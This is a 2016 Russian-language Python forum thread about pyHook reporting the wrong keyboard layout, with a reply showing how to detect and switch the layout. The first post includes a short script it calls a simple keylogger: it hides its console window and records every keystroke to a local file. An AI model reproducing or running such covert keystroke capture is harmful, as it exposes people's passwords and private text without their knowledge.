Уведомления

Группа в Telegram: @pythonsu

#1 Фев. 27, 2016 21:01:32

lstdmi
Зарегистрирован: 2016-02-27
Сообщения: 3
Репутация: +  0  -
Профиль   Отправить e-mail  

pyhook смена расскладки

При включение зависит какая расскладка была включена если “РУС” то вовремя работы программы уже пользователь набирает на “ENG” но event.key думает что соровно рус…
и подеи у каждого окна своя расскладка.. пытался найти решение не получилось..


вот находил вроде как что то сдеали решение но не получилось у меня

пример простейшего кейлогера

import win32api
import win32console
import win32gui
import pythoncom,pyHook
 
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
 
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Офлайн

#2 Фев. 28, 2016 15:28:18

elisk
Зарегистрирован: 2013-04-09
Сообщения: 35
Репутация: +  7  -
Профиль   Отправить e-mail  

pyhook смена расскладки

Простой способ самому ставить раскладку:

import win32api
import win32con
import ctypes
u = ctypes.windll.LoadLibrary("user32.dll")
pf = getattr(u, "GetKeyboardLayout")
numpf = pf(0)
ENG = 67699721
RUS = 68748313
#  Если стоит русская раскладка то переключаем на английскую
#  Переключение клавишами Shift+Ctrl
#  Если нужно Shift+Alt то вместо VK_CONTROL поставить VK_MENU
if numpf == RUS:
	win32api.keybd_event(win32con.VK_LSHIFT, 0, 0,0)
	win32api.keybd_event(win32con.VK_CONTROL, 0, 0,0)
	win32api.keybd_event(win32con.VK_LSHIFT, 0, win32con.KEYEVENTF_KEYUP, 0)
	win32api.keybd_event(win32con.VK_CONTROL, 0, win32con.KEYEVENTF_KEYUP, 0)
	print("switched on ENG")
else:
	print("default: ENG")

Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version